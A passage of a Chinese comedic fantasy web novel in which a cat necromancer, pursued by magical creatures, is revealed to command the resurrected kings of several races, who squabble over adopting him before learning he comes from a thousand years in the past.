他在看到急速奔来的大叔的瞬间似乎电光石火间领悟了什么,脸上迸发出和大叔如出一辙的激动表情,脚尖一动,就转向莫特默的方向。 莫特默:?! 莫特默再一次转向,跑得四肢与地面平行,几乎要飞起来,得益于天天和阿利斯泰尔之间的跑酷,他现在跑起来没有一点压力。 可那个新出现的追捕者也像是开了魔法免疫挂一样,直直朝他追来。 莫特默都要怀疑自己用的是假的魔法。 莫特默动如脱兔,在发现不对的第一时间就润了,也就没有看到,原本和第二个追捕者交谈的那人在交谈者转身就追后面露愕然,接着脚跟微抬似也想追上来。 可一瞬后,脚落回原地,他站着没动。 他脸上隐隐出现在冷笑和生气之间不断变幻的表情,接着掏出手机以和大叔截然不同的娴熟手法按1键,拨出了一个紧急电话。 “滴、滴……”电话响铃了两秒后被接通。 伊夫林语带不虞,言简意赅:“我在开会,有什么事直说。” “龙族跑到X市,正在追幼崽。”电话那头说。 “什么?!”坐在一旁的兽人大惊,拍案而起。 同一时间,椅子腿在地上划出刺耳的声音,伊夫林蓦然从椅子上站起。 无耻的龙族竟然根本没有按照说好的去做,偷偷摸摸跑到了X市,还真被他们抢先找到幼崽了?! 伊夫林语速飞快:“电话不要挂,我马上过来。” 说着,伊夫林顾不得还没结束的会议,在身前划开梦境空间,就要通过穿梭人类的梦境瞬移到X市。 他一脚跨进碎裂的空间,一只手却猛地抓在他的肩上。 伊夫林眼中充满怒火地回看,发现竟是偷听到他的电话,与他一同站起的兽人。 见伊夫林回头,他竟还把另一只手也搭了上来。 这个恬不知耻的兽人还叫道,“带我一个!!”说着,硬是挤进那片碎裂的空间,要滴滴打梦魇。 来不及了,他已经开启穿梭,伊夫林只能带着搭便车的兽人一同化成一道光,进入梦境的空间。 办公室陷入安静,原本坐在座椅上的二人不翼而飞,只留下一支笔在桌面咕噜噜地滚了一段距离,又晃晃悠悠地停下。 而一同陷入安静的,还有桌上一台亮着的笔记本电脑。 电脑屏幕上,一个个分割的小方格上,不同背景,不同种族面容的人表情奇异地相似,全都呆滞地望着前方。 视频的最上方,时间标识又静静地前进了一秒,显示着会议仍在继续,而右下角的小话筒标识也没有被关闭。 所有参加视频会议的,都听到、看到了刚刚伊夫林那头发生的一切。 须臾后,远程视频会议内发出一片哗然。 “幼崽……?什么意思?” “我们怎么不知道有这回事,是哪族的幼崽?!” “如果是龙族的,伊夫林不能这么急不可待地要赶过去!” “X市,在X市!” 说话间,屏幕上的一个个小方格已经一个接一个地变黑,赫然表示对方已经下线。 有什么好说的?情况已经很明显了,伊夫林发现了一名魔法生物幼崽却隐瞒了消息没有通知其他人,指不定想要找到了自己偷偷养,却一时不察被龙族偷了家。 现在他们最重要的任务是赶到X市,看看是不是自家的幼崽,绝不能眼睁睁让龙族把自家幼崽带走了! 至于如果到了后发现不是自家的呢? 魔法生物们不讲武德,幼崽的花语是手慢无! 抢到了自然就是他们家的了! 他们一个个有办法立马赶到X市的即刻出发,没办法赶到的则发动魔脉,给自己在X市或X市附近的族人打电话,勒令对方必须立刻马上第一时间赶到第一现场! 想在他们眼皮子底下悄无声息地带走一个幼崽?没门! 视线转回X市。 在魔法生物之间发生的骚动莫特默不得而知,他只知道…… 怎么追他的人越来越多了?! 小小的X市卧虎藏龙,那个什么神的狂信徒有这么多??! 莫特默震惊又困惑地回头,只见他的身后,除了第一个追在他屁股后面的大叔,不知何时又多出了好几个。 他们的反应如出一辙,一见到莫特默后就立马变得分外激动,然后像是打了鸡血一样“嗡”地一下就冲过来加入追逐的队列,有些甚至还眼含热泪,一副感谢上苍,感激涕零的模样。 不仅如此,他们似乎好像还在互相使绊子,你绊我一脚,我踹你一屁股? 虽然这也方便了他逃跑……但这么嚣张,这么大胆? 震惊!光天化日之下,几名大汉竟然公然踊跃追逐一名妙龄猫咪! 莫特默暗自嘀咕,心中泛起一股微妙的感觉,并逐渐带上一点不怀好意的玩味。 那他要是把这些人往家里一带,这些人不全完蛋了吗? 想到就做,莫特默也不再七扭八弯地兜圈子试图甩开身后的人了,而是直直朝废弃工地跑去。 随着莫特默的路线不再那么刁钻,追逐者们和莫特默之间的距离也在逐渐缩短。 眼前的道路变得熟悉,莫特默眼前一亮,他知道,他快要到家了。 追逐者们也眼前一亮,周围没人,他们可以用魔法追上莫特默了! 三米,两米,一米……莫特默难以自禁地露出笑容,啊哈,追着他的人已有取死之道!开门,放死灵! 一米,半米,10厘米……!追逐者们难以自禁地露出笑容,已经在心中打着等会儿要说什么的腹稿了。 ——就是这最后一跃! ——就是这最后一捞! 莫特默向前飞扑,与此同时,已经站在莫特默身后的男人弯腰伸手一捞。 “喵呀!” “呃啊!” 莫特默一头撞上一个坚硬的东西,由于冲劲被压成一个扁扁的猫饼,又弹回原样。 追逐者一头撞上结界,由于反作用力,踉跄地后退了一步,又被后面冲上来的人整个压在结界上。 莫特默和那名伸手捞他的男人双双眼冒金星。 喵喵喵的,是谁挡在猫的路上?!莫特默恶狠狠又晕乎乎地想。 ……嗯?等等。这个场景怎么感觉好像有点熟悉?他是不是也曾…… 莫特默头上转圈的星星还没散,他的身体就忽然腾空,一双手将他从地上抱起。 “怎么又往家里带垃圾?”低沉的声音从近处传来。 莫特默晃晃脑袋,大脑还没反应过来,嘴巴上已抢先反驳辩解道:“是他们自己要跟来,才不是我带的!” 被拦在结界外,像是沙丁鱼罐头一样挤在一起的人赶忙向后散开。 是谁?是谁抢先一步接触了幼崽,听他们之间言语的亲昵程度,看样子对方还已经养猫有一段时间了。 他们定睛一看。 亥伯龙双手托着猫的腋下,将其举至胸前,垂眸看着莫特默,面色淡淡,没有给拥堵在结界外的人一个眼神。 可站在前方的大叔面色却豁然扭曲。 他眼睛几乎要瞪出眼眶,直勾勾地看着那张留存在记忆中,估计族内一些出生晚的小年轻都认不得的脸。 刹那间,汹涌又鲜艳的记忆淹没了他,带他重新回到几百年前。 他近乎是颤抖又惊骇地尖叫出了对方的身份: “陛下?!” 第55章 陛下? 大叔身旁的人闻言迷惑地回头, 见大叔的脸色不像作假,又转回去想要仔细打量一下那个被他称为陛下的人。 可没等他们的头转回去, “莫特默,你终于回来了!”一道尾音扬起, 兴高采烈的声音先从不远处传来。 阿利斯泰尔脚下生风, 大步流星又精神抖擞地从大楼内走出, 面上是清爽的笑意, 语带一点亲昵的抱怨:“怎么之前出去不带上我?” 他视线越过亥伯龙肩头看向莫特默,语气略带夸张, 一边朝莫特默挤眉弄眼, 一边心有余悸般说道: “亥伯龙和瑟兰迪尔刚刚可都快要把家拆了!” “哎呀, 那个场面可真是……”维萨罗斯也跟在阿利斯身后缓缓步出, 用一种看热闹不嫌事大的语气帮衬道,脸上眯眯眼眯起的弧度似乎都比平时更下弯。 他对莫特默戏谑地叹息:“真可惜, 你没能看到。” 莫特默:?! 莫特默顿时从中感到一阵不祥, 赶忙探头去看亥伯龙背后的大楼, 可从大楼的外表上, 看不出哪里有严重的破损或较之前明显的区别, 于是他又回过头转而瞪视亥伯龙。 亥伯龙,说, 你都做了什么? “啧。”亥伯龙眉头下压, 侧脸移开与莫特默对视的视线, 露出些许烦躁的眼神。 见状,莫特默一个激灵。 他们该不会是在他离开后打起来了吧?不——!他的游戏, 他的猫窝,他的零食…… “放心吧,莫特默大人。”好在塞拉菲涅本就悦耳, 此时听起来格外动听的声音及时响起。 “您的一切东西我都提前帮你保护起来了。”她得体地微笑着,朝莫特默颔首。 莫特默顿时心中长长地舒出一口气。 太好了…… 这个家,果然还是得靠塞拉菲涅啊!他感动地想,忽又转念意识到,等等,这么说来 ——果然是打起来了吧! 莫特默不满地逼视亥伯龙,那视线如有着实质般的重量,戳在亥伯龙脸上,戳得亥伯龙不自在地转过脸,开口转移话题。 “所以跟在你后面的这些,是什么意思?” 莫特默这才反应过来他本来是想让亥伯龙他们解决身后的追兵的。 说起来,那个大叔喊的“陛下”是什么意思?是认出亥伯龙了?而且他的身后怎么陷入了一片奇怪的沉默,不会是都跑了吧? 想着,莫特默回过头看向被拦在结界外的人。 只见围在结界外的人一个个目光呆滞,瞳孔放大,像是被晴天霹雳了一样愣在原地,表情滑稽。 其中甚至有人站不住地腿一软,双膝跪在地上,嘴唇颤抖着像是想说什么却像是被夺走了声音,说不出一句话。 莫特默:…… 莫特默:……? 莫特默扭着上半身,好奇地一一端详他们的神情,努力分辨对方颤抖的口型。 wu吾…wan…… 吾王? 亥伯龙抬了抬眼皮,目光扫过一开始称他为陛下的那名龙裔,以及周围那几个兽人和梦魇,心底泛起一股淡淡的了然,又不以为意地收回目光。 接着,他将脸伸向莫特默毫无防备的雪白肚皮,将脸埋了进去。 亥伯龙用高挺的鼻子轻轻摩挲,轻轻顶着莫特默肚皮上的软毛:“怎么出去不告诉我?” 莫特默猛地反应过来,扭回身抱住亥伯龙的头,义正词严地说:“猫猫也需要自己的独处空间!” “好好反思一下,你最近是不是有点太黏猫了?”他指责道。 亥伯龙埋在莫特默软乎乎的肚子里的脑袋一顿,似是在思考莫特默的问题,接着不到一秒又继续动作起来,显然没有觉得自己有一丁点的问题。 莫特默:?! 他猛地用爪子抵在亥伯龙脸上,将亥伯龙的脸强硬地推开:“听到我的话了没?” “还有,不许偷偷亲我!”说着,莫特默对着亥伯龙的脑袋都是一顿连环猫猫拳。 可没有伸爪子的猫猫拳打在脸上一点都不痛,更何况是用脸皮硬接魔法都能毫发无损的亥伯龙。 所以亥伯龙没有退却,反倒是“唔”了一声后,将脸凑得更近了,干脆地说:“我的错。” “嘶——”一阵倒抽气的声音响起。 大叔站在原地的身体摇摇欲坠,他小声又虚弱,语气卑微又结巴地说:“陛、陛下?” 他再一次出声,可与第一次的震惊相比,这一次虽然依旧震惊,其中蕴含的意味却更加确定。 在看到亥伯龙的身影后,他先是质疑这是幻觉,又是质疑那是伪装,可在他想思考清楚前,他的身体已经先他一步不听使唤地僵在原地,头深深低了下去。 所有的感官都在告诉他,没有错,面前的正是那个席卷了整片大陆的赤色暴君,终结了神之统治的反叛者,龙族最后的王,亥伯龙。 站在他面前的,毋庸置疑,就是他至高无上的 【王】 片刻的静默后,先是第一个人,然后站在结界外的人如被风刮倒的麦穗一样,一个接一个地半跪了下去。 “龙族/兽人族/梦魇族第9/23/11…代,XXX参见……” 他们头颅低垂,恭敬又谦卑地说道, “吾王。”XN 在所有死灵的神色不变,谈笑自若中,莫特默停下动作慢慢地回头,俯视着一片低伏下去的身躯,吃惊地微微睁圆了眼睛,后知后觉。 所以…… 他们不是神的信徒,而是魔法生物? …… “所以为什么要追我?”莫特默百思不得其解。 没有得到允许,也就没有从地上站起的魔法生物们支支吾吾,没有人先站出来说出个所以然。 “嗤。”亥伯龙抱着莫特默率先转身,头也不回地走向大楼内。 龙族的大叔下意识抬头,目光追随着亥伯龙的背影,发现拦住他们的结界竟消失了。 ……这代表允许他们进入,然后有什么事进去再说吧? 大叔战战兢兢地站起,落后了3步地跟在亥伯龙身后,在他身后,其他魔法生物也像是跟着鸡妈妈的小鸡一样,亦步亦趋地跟着进入了结界。 一边走着,他脑中思绪繁杂,激动和恐惧参半的心情以及无数疑问在他心中翻涌,可当他一进入大楼内,抬头,所有的思绪都变成一句粗口。 大叔险之又险地将险些脱口而出的粗口憋了回去,甚至憋得脖子都有些红了起来。 先不提红龙王陛下为什么还活着,又为什么要在这破乱的地方居住…… 精灵王为什么也在这?!?! 作为跟随亥伯龙上过战场的老家伙,他自然也是见过精灵王的模样的。 而那个一头淡金色长发,满脸清心寡欲模样的精灵正坐在一张椅子上,修长的手指不紧不慢地翻阅着一本书,阳光从窗户处洒下,恰到好处地打在他垂下的纤长金色睫毛上,端是一幅岁月静好的画面。 龙裔大叔的眼神惊悚地在亥伯龙和瑟兰迪尔之间来回穿梭,气息紊乱了一阵,但还是保持了宝贵的沉默,什么都没说。 而其他人显然也还沉浸在一片混乱中,没有从见到王的震惊和疑问中回过神,只根据本能缄默地站在一旁。 而莫特默探头看到自己那堆得高高的垫子猫窝没事,顿时满意地点点头,指挥亥伯龙将他放在了垫子(划掉)他的宝座上。 莫特默在宝座上踩了踩,站稳后抬起头。 然后他挺直脊背,看向面前神色各异的魔法生物们。 刹那间,一股不同寻常的气势从他身上散发出来。 死灵们自然地站到莫特默的两边,连在一旁看书的瑟兰迪尔也合上书,抬起头,神色淡然地看过来。 原本都还在隐晦打量周围的魔法生物们都情不自禁抬头,朝处于所有王者最中心的莫特默望去。 莫特默端坐在那,甚至没有起身,只是抬眼,目光从高处徐徐落下,像掸灰尘一样扫过众人。 历史上威名赫赫的王们如骑士,如仆从般,像是拱卫,像是守护,又像是侍奉般,或坐或站地围他的身侧,朝魔法生物们投以或威严,或友善,或玩味,或漠然,或冷淡的目光。 在这一刻,一股近乎茫然的震动从他们内心深处迸发,所有人都感到了一种荒谬的震撼。 在所有的王者,所有的目光之间,似乎是那一只小小的猫才是决定一切的主导者,掌控者。 他们的王为什么…… 原本只以为是魔法生物幼崽的猫似乎也随之变得深不可测了起来。 龙裔大叔能听到有人丢脸地屏住了呼吸,但只有他自己知道,他的心脏也重重地跳了一下。 那双金色的竖瞳的主人注视着他们,微微张开嘴:“道出你们的来意。” 大叔竟在这目光下习惯性地低下头,恍惚间像是几百年前站在华丽的大殿中,回答龙王的询问般谦卑地开口。 他刚刚张嘴要答,就猛地回到现实,想起他们追在莫特默屁股后面的前因后果,眼中豁然冒出精光。 心念电转,他语速飞快,语气铿锵有力地说:“是为了帮助你回到真正的家,回到属于我们龙族的龙岛!” 不管其他几个是怎么回事,他的目的就是将幼崽带回去,而他看到的事实就是他们的王抱着莫特默,还对其百般纵容。 这还不能说明莫特默是他们龙族的崽吗?!! 此话一出,他身旁的人顿时面色微动,也像是从梦境中恍然惊醒,一名梦魇脱口而出:“不,你应该跟我回梦魇箱庭!” 说完后,他才意识到自己有些失态,干咳了一声,目光本能地瞄向维萨罗斯,可口中还是温声对莫特默说:“我们才是你真正的族人,孩子,你应该和我们回去才对。” “你看,你和龙族有哪一点相似?又怎么可能是龙族呢?” “而且龙族们都是一些粗心大意的家伙,他们只会让幼崽吃饱,其它什么都不管,根本不会抚养幼崽。” “陛下,您认为呢?”他礼貌地朝维萨罗斯暗戳戳寻求支持道。 作为世界上最强的梦魇,据说维萨罗斯甚至可以做到看清一个人灵魂的模样,对于莫特默到底是不是梦魇或者是其他什么种族,维萨罗斯可以说是最有话语权的人。 维萨罗斯不置可否,嘴边依旧挂着意味不明的笑容,好整以暇地看着众人,但沉默在某种程度上也是一种默认。 出声的梦魇瞬间像是有了什么底气一样,背都挺直了一点。 另一旁的一个兽人立马脸色变得不善,急了:“这明显是我兽人族的崽!” 怎么睁眼说瞎话呢?幼崽一看就是一只猫,那必定是他们兽人啊!! “而且你们梦魇就会养崽了?无论男女从小就让幼崽穿裙子,把好好的幼崽都带得审美阴柔!” 梦魇脸色一变:“这是我们的风俗!!!” 兽人震声:“明明就是娘娘腔!!” 他接着连声朝阿利斯泰尔道:“陛下,您认为呢?!”其中急切恳求的意味就差来一句“你说话啊!” 与维萨罗斯不同,阿利斯泰尔用力点头,显然大力支持他的族人将莫特默带回去。 塞拉菲涅:# 阿利斯泰尔的头点着点着越点越慢,他感到身旁传来一个恐怖的视线,他慢慢回望过去,就见塞拉菲涅正目光阴森地盯着他。 塞拉菲涅假笑,没有说话: 你点什么头?难道还真想将莫特默大人拐回兽人领地? 看着塞拉菲涅眼眸中明晃晃的这行字,阿利斯泰尔镇定又真诚地回视: 不然呢? 塞拉菲涅:## 她红唇轻启, 就在这时,另一道声音忽地从大楼外出现, “既然如此,那不如交给我族抚养。” 第56章 几名精灵和海妖几乎是肩并肩地同时挤进室内, 随之跟着进来的还有互相扭打在一起的伊夫林和一名兽人。 伊夫林没好气地摆脱一旁死皮赖脸跟着他的兽人,整了整衣襟想要在幼崽面前留下一个好印象。 要不是兽人拦着他,硬要和他一起,他早就先一步出现在幼崽面前了! 咬牙切齿地想着, 他抬眼就想打断先开口的那名精灵的话, 就看到莫特默两旁站着的死灵。 几道目光齐刷刷精准地落在他身上。 在众多目光之中, 维萨罗斯微微一笑。 伊夫林倏地僵住。 好在比他先进室内的精灵和海妖也没好到哪里去, 全都安静地凝固在原地。 塞拉菲涅美眸转向那几个闯进来的海妖,特别是领头的那个男性海妖, 原本欲说什么的话变为淡淡的一句: “……真是没落了。” 领头的海妖脊背绷得很直, 耳鳍却不受控制地轻颤:“臣……” 他开口, 发出的声音涩得像吞了砂砾, “是臣等无能。” 他没有立即跪下,而是任由塞拉菲涅审视, 眼中闪过一丝苦涩。 他知道, 陛下失望的不是他, 而是放眼望去, 身后竟没有一个可以撑起摊子的女性海妖。 海妖族内向来以女性为尊, 因为女性海妖天生无论在力量还是在魔法感知上都比男性海妖出色,所以一般而言, 都是女性做主导, 而男性海妖担任抚育孩子的职责。 可此时站在塞拉菲涅面前的几名海妖, 皆是男性海妖。 几百年前,女皇战死于北海沟壑, 大量女性海妖战士也随之而去,族内女性海妖数量十不存一,再加上魔力的衰退, 对魔力要求更高的女性海妖卵愈发难以孵化,不知不觉间,族内竟只剩下一些夫孺弱小。 悲哀地想着,他深深跪拜,“但请王上垂察,珊瑚的生长也需要时间,等族内的孩子们长成……” “起来吧。”塞拉菲涅打断,“我出征时,先锋营的战士怀了身孕还要抢着上阵,如今竟要让雄性来替她们挡风沙,这是她们的无能,又关你一个雄性什么事。” 一旁的瑟兰迪尔被这标准的海妖族式男女不平等发言熏得侧过头。 可能是因为精灵都统一从树上的胎果上出生,一对夫妻,夫夫或妇妇想要孩子,只要一起往母树上系一条丝带就可以,出生后的精灵在男女上也没有明显差异,精灵族内从来没有什么重女轻男或重男轻女的现象。 对于海妖族内的这种不平等,瑟兰迪尔不尊重,也不理解,就像他也同样看不惯龙族那种到处留情,荤素不忌,耽于□□,不乱搞就像要了他们命一样的行为。 想到这,他不禁开口:“去精灵族地。” 他看向莫特默,神色清冷:“唯一能待的,也只有精灵的领地了。” 将莫特默放到其他族的领地,岂不是眼睁睁看着他被带坏,染上奇怪的恶习? 交给兽人,变成喜欢四处惹事的黄毛(阿利斯:啊嚏!); 交给梦魇,变成满肚子坏水的诈骗犯,说不定还会染上异装癖(维萨罗斯:唔?); 交给海妖,变成野心勃勃的战争犯,然后被配给海妖当赘婿(塞拉菲涅投来警觉的一眼); 交给龙族,变成浑身难闻的色魔,挥金如土的暴发户二世祖(亥伯龙感到不知从哪来的一股无名之火从心中燃起,不用想,一定是瑟兰迪尔的错)。 怎么想,也只有他精灵族能靠谱一点。 那双纯净的眼睛……至少他还不想看到其变得浑浊。 话音落下,一旁的精灵们回过神,立马面露惊喜,自豪道:“没错,我们的圣地是这个世界上最美,最适合幼崽玩耍的地方。” “清晨,长尾山雀们会在露水间唱响第一支歌,风吹过清澈的小溪,领地边缘的雪白铃兰会像无数个小钟被敲响,等到中午,你可以去林地,小鹿和松鼠在森林中休息穿梭,而到了夜晚,林中的荧光花朵和月光苔藓还会铺成一条淡蓝色的光河。” 他一点一滴地描述着领地的场景,听得莫特默心生向往。 塞拉菲涅吃惊地望向瑟兰迪尔,不明白对方怎么会突然插手,让莫特默去他的族地。 瑟兰迪尔语气淡然:“总比这**地方要好。” 尽管内里装修了一些,但也无法掩盖这里是人类的废弃工地,莫特默住在一栋简陋的废弃大楼里。 塞拉菲涅顿觉有理,但既然如此,那莫特默就应该去她那啊! “莫特默大人。”“莫特默。”“莫特默!” 几道声音相继响起,诱惑(划掉)劝说莫特默去他们那。 莫特默就像个墙头草一样,一会儿觉得阿利斯说得对,一会儿觉得塞拉菲涅有理,犹豫不定。 倒是亥伯龙一直保持着沉默,不置可否。 反正他是一定会跟着莫特默的,莫特默去哪儿,他就去哪儿。 而莫特默在犹豫徘徊不定了好一会儿后,终于拍板! 在众人期待的眼神中,莫特默郑重其事地开口, “我决定好了,我……” 众人屏息,心中忐忑。 这一句话,决定的不仅是莫特默跟谁走,更是各个种族的幼崽与领地之争,是哪个种族更优越的证明! 所以,到底是…… “——我全都要!”莫特默说。 众人:…… 众人齐齐:“啊???” 莫特默说:“与其我过去,不如你们来吧。” 都怪猫太受欢迎了,大家都想养猫。 但宽容的莫特默自然不能让任何一个想和他亲近的铲屎官失望! 养,想养的都可以养! 莫特默猫爪一挥,大气道:“放心住,这里住得下!” 众人再一次震动,伊夫林表情都没控制住:“你是说这烂尾楼?!” 莫特默眉头一皱:“怎么啦?我觉得这里很好啊。” 一名精灵族本也想开口反驳,可忽又猛地止住了话。 等等,仔细想想,这难道真的不可行吗? 要知道,虽然他们欢迎莫特默,也欢迎他们自己的王回家,可这不代表他们欢迎其他的王也来啊! 就像亥伯龙,他们会允许亥伯龙进入他们的族地吗?那必不可能! 光是想到这个可能性,他都想冲上去和亥伯龙爆了。 可有了王的指示,他们也必不可能眼睁睁看着莫特默和其他种族离开。 所以莫特默的提议,竟反而是最好的办法。 又能在不得罪其他种族的前提下,近水楼台先得月地接触莫特默,又能和吾王碰面,至于烂尾楼的破破烂烂倒是其中最不重要的了。 刚想清楚,他就听到, “我也觉得很好!”一名兽人像个狗腿子般对莫特默振振有词,“太英明了。” 其他人也一个个反应过来,纷纷应下。 兽人忙加码,试图博取莫特默的好感:“既然我们要来到这里居住,那让我住在这里的房费请务必收下。” 语毕,其他人也像是被打通了任督二脉。 龙族最是财大气粗,当即大手一挥,表示要把整个废弃工地都装修一番,并且他们还要将陛下的床给搬来。(说是床,但按照众人对龙族的理解,其实就是在说要在这堆一座金山) 精灵族也不甘示弱,当即表示他们可以用魔法改善这里的环境,给莫特默一个接近精灵族地的魔法森林。 海妖族也表示他们可以带过来一些莫特默喜欢的水产,挖个湖养在里面,这样莫特默什么时候想吃,就可以直接捞。 梦魇更是当仁不让,自告奋勇说要帮忙加固笼罩着废弃工地的结界,伊夫林为了给自己之前的失言找补,更是连连保证会通过操作将此地合法地归给莫特默,莫特默想怎么弄都可以。 莫特默满意地颔首,于是各族皆大欢喜,关于莫特默去处的争论也算是告一段落。 这时,他们终于才有心思探寻他们早已作古的陛下为什么会出现,还是在莫特默身边。 “吾王,您为何……”一名兽人抬首直言道。 阿利斯泰尔摸了摸后颈,刚想回答,就听莫特默闷咳了一声。 “这个问题就由我来解答吧。”莫特默故作正经地沉声说。 阿利斯泰尔立马笑了出来,欣然闭上了嘴,将这事让给莫特默。 再一次吸引了所有人的注意力后,莫特默志得意满,骄傲地抬起毛茸茸的小脑袋,身后的尾巴也情不自禁地翘了起来。 “这都是因为……” 莫特默拖长了音,金色的眼睛在阳光下熠熠生辉,迎着所有人求知若渴的目光,神气地朗声道, “他们都是我召唤出来的死灵。而我,”他顿了一下,意气风发, “就是有机会成为有史以来最出色,最邪恶的死灵法师的猫!” 寂静。 一片与之前相似又完全不同的寂静笼罩在房间的上空。 荒谬。 这是所有人脑海中最先闪过的念头。但紧接着,细思极恐压过了荒谬感。 他们想起那不知为何在人类间流传起来的死灵魔法,以及听闻过的,高深的死灵魔法能帮助对方夺取魔法生物的灵魂,以至操控其皮囊的传闻。 ……这副看似无害,甚至可爱的皮囊之下,是否就藏着所有死灵法师背后的那名幕后黑手? 这名死灵法师甚至已经掌控了他们的王,而他们毫无防备地踏入了对方的巢穴,还是自己赶着送上了门。 莫特默昂着脑袋等了一会儿,都没等到自己想要听的,随即不满地低下头,斜着眼瞅向面前呆若木鸡的魔法生物们。 一张张像是焊了一张面具般木然的脸摆在那,只有那颤动的眼睛彰显了他们心中的想法正在剧烈波动。 他们一个个面色白得像是几乎要昏过去,但都强撑着没有说话。 莫特默左顾右盼了一会儿,像是忽地想起了什么,补充道:“当然,不是那个什么神的信徒,我用的魔法也不是他的喵。” “毕竟我可是来自异世界的猫!” 众人:…… 众人:是、是吗…… 龙裔大叔颤颤巍巍地捂住心脏,安详地心想,年纪大了心脏不好,受不了这种过山车般的刺激,以后有这种活动还是叫小年轻吧。 伊夫林张了张口,作为魔法生物保护协会的负责人之一,艰难又尽责地开口追问道:“……神?” 莫特默疑惑:“你们不知道吗?” “那些人类魔法师用的死灵魔法据说都是由他们信仰的一个神赋予他们的。” “所有的神不应该在上一纪元全部消失了吗?”伊夫林下意识喃喃,又面容一肃,自言自语地反驳道,“不,是我之前陷入误区了,说不定真是他们,也只有他们有着能将普通人变成魔法师的能力。” 莫特默:“被你们抓住的那个使者没说吗?” “他在被抓捕不久后就暴毙了,连同其他几个魔法师也一样。”伊夫林回答,神色已经恢复了冷静。 被灭口了吗?莫特默晃晃尾巴心想,难怪这么久魔法生物那边连有个神存在都不知道。 “谢谢你告知我这件事,”伊夫林说,“有了方向此事就好解决了,这件事就交给我吧。” “啊。”莫特默想到了什么,一脸纯洁地说,“对了,我这应该有一个可以帮助你们的人哦。” “柯杰~”莫特默呼唤道。 几秒后,柯杰一脸窒息地出现在了门口。 是的,从隔壁市的漫展回来后,他就被带到了莫特默的烂尾楼里,活在一圈死灵的眼皮子底下,不是囚犯胜似囚犯,虽然回来后莫特默他们一直都没吩咐什么,也没对他做什么,但柯杰就是一直觉得有一把斧头一直垂在他脖子边般心惊胆战,一般不出现在莫特默以及其他人面前,将自己活成了一个透明人。 但,今天,现在,断头的日子终于到了。 柯杰满脸灰暗地慢慢走过来,莫特默介绍道:“这个是曾信仰那个神的人类,目前还没有其他人知道他被我俘虏了,你们可以借助他来打入信徒们的内部。” 柯杰在心中流下一滴悲愤的泪水,乖乖地点了点头。 伊夫林愣了一下后,感谢地笑纳了这个意外之喜。 莫特默又说:“如果发现了那个神的踪迹记得通知我,我可以将阿利斯他们借给你哦。” 伊夫林这次却连忙拒绝,虽然其中有些部分是不敢指使他们王的诚惶诚恐,但莫特默看得出来,他是真心的。 莫特默不解:“真的不用吗?对方好歹也是一个神吧?” 单单这些魔法生物,没关系吗? 谁料伊夫林闻言后,竟毫不掩饰地轻蔑地笑了一声。 “神?”他说,“他才不是神。” 他灰色的短发轻轻扫过耳边的3枚黑色耳环,整个人竟看上去有一股像是年轻人般尖锐的桀骜,嘲讽道,“什么神,不过是假借神名义的伪物罢了。” 此言一出,莫特默和他身旁的几名死灵都露出惊愕的表情。 伊夫林缓了一下,恭敬地对莫特默和维萨罗斯说:“随着时代的发展,人类发明了很多被他们称为科技的产物,并借此对很多地方进行了考古挖掘,就在十几年前,人类挖出了一个古老的石板。” “他们以为这是属于人类文明中一支消逝的族群留下的文字,对其进行了翻译和破译,但我们经过对比,其中虽然有些细微的变化,但也已经确定其上的文字和那些神使用的文字一致。” “根据石板上记录的内容来看,他们根本就不是什么神,而是一支从上上一个纪元侥幸留下来的,天生可以大量储存和转移魔力的魔法种族。” 说着,伊夫林从口袋中掏出手机,双头朝上托起,将手机中保存的石板照片展示给莫特默和其他死灵们看。 阿利斯泰尔大步流星地上前,拿起手机猛盯。 他一点点扫过石板上的文字,愕然地呢喃:“……真的,好像。” 手机被另一个人夺走,塞拉菲涅只瞧了一眼就咬牙:“没错,这就是神殿中的文字!” 瑟兰迪尔阖了阖眼,似乎想说什么,又咽了回去。 维萨罗斯的脸色则有些怅然。 那些高高在上,统治盘剥了他们数百年的神,竟只是另一个未知的魔法生物吗? “嗤。”亥伯龙抱臂,神色慵懒,“无聊。” 对他而言,对方是什么都不重要。结局就是对方死了,并且那支种族也只剩下一唯一一个在苟延残喘。 莫特默凑热闹原地跳了跳,好奇地催促:“给我看看,快给我看看。” 伊夫林忙不迭补充道:“收藏这块石板的博物馆就在J国,如果想要亲眼去见一番,请允许我来为你们带路。” 手机经过几个人的传递,来到莫特默眼前。 莫特默探头一看:…… 他的眼神忽然变得有些迟疑。 “唔……?”莫特默慢慢地抬头,朝众人说,“这上面写的,我好像见过喵。” “不是像,就是这个文字。”他想了想,肯定地说道。 伊夫林:……?!?! “可这是1000年前的石板!”伊夫林脱口而出。 莫特默眨眨眼。 1000年前? 他低头看向手机屏幕上眼熟的文字,后知后觉。 难道…… “我不是穿越到异世界,而是穿越到了1000年后吗?!”莫特默震惊地说。 但来不及为穿越千年感到震惊,下一个登场的是一个随之浮现在脑海里的念头。莫特默眼珠子一转。 他其实是1000年前的,这也就是说 ——他其实是在场辈分最大的! 莫特默转头就得意地朝亥伯龙说:“叫祖(宗)唔唔唔……” 亥伯龙捏着猫的嘴筒子,面无表情。 第57章 没有被莫特默和亥伯龙之间的互动打断情绪, 伊夫林还沉浸在莫特默刚刚说的话中,忍不住重复:“穿越到了1000年后?!” 他看莫特默的眼神瞬间都变得不一样了:“你、不,您是说您其实是1000年前的魔法生物吗?” 根据公认的魔法法则,越是古老的存在就越是强大。 如果说莫特默是1000年前的存在的话, 那也就说得通, 他为什么只是一个幼崽却如此强大, 还有那不可思议的死灵魔法, 以及为什么他们都辨认不出莫特默到底是什么种族的魔法生物。 伊夫林身旁有另一梦魇没忍住开口:“那您知不知道一些现在已经失传的魔法?” 莫特默又“唔唔”了两声,在亥伯龙松开手后, 迫不及待地说:“那当然!” “古代文字?” “必须的!” “禁忌知识?” “没毛病!” “哦哦哦!”这下, 换成莫特默对面的魔法生物们两眼放光了。 连一直将注意力都隐晦地放在自家王身上, 默不作声的那部分都情不自禁朝莫特默露出露骨的眼神。 眼神也从看一个幼崽, 变成看一个强者,一个待挖掘的, 源源不断的宝藏。 如果他们之前想要将莫特默接回去或亲近莫特默, 都是出于对幼崽的怜爱和关照, 是一种生物的本能, 那么现在的他们恨不得贴莫特默身边。 这可是从千年前来的古老生物, 又有谁能有这个机遇能借此了解千年前的事呢?而且莫特默的死灵魔法都如此出众,说不定还知道一些不为人知的古老魔法, 其中有可以解决他们绝嗣危机的呢? 如果能跟在莫特默身边学一点皮毛, 再加上自家王也在这…… 各族的魔法生物们纷纷浮想联翩, 连着简陋的烂尾楼在他们眼中也忽地变得金光闪闪起来。 有的魔法生物激动地咽了一口口水,勉强按捺下迫不及待的心情。 伊夫林呼吸了几个来回后:“既然如此, 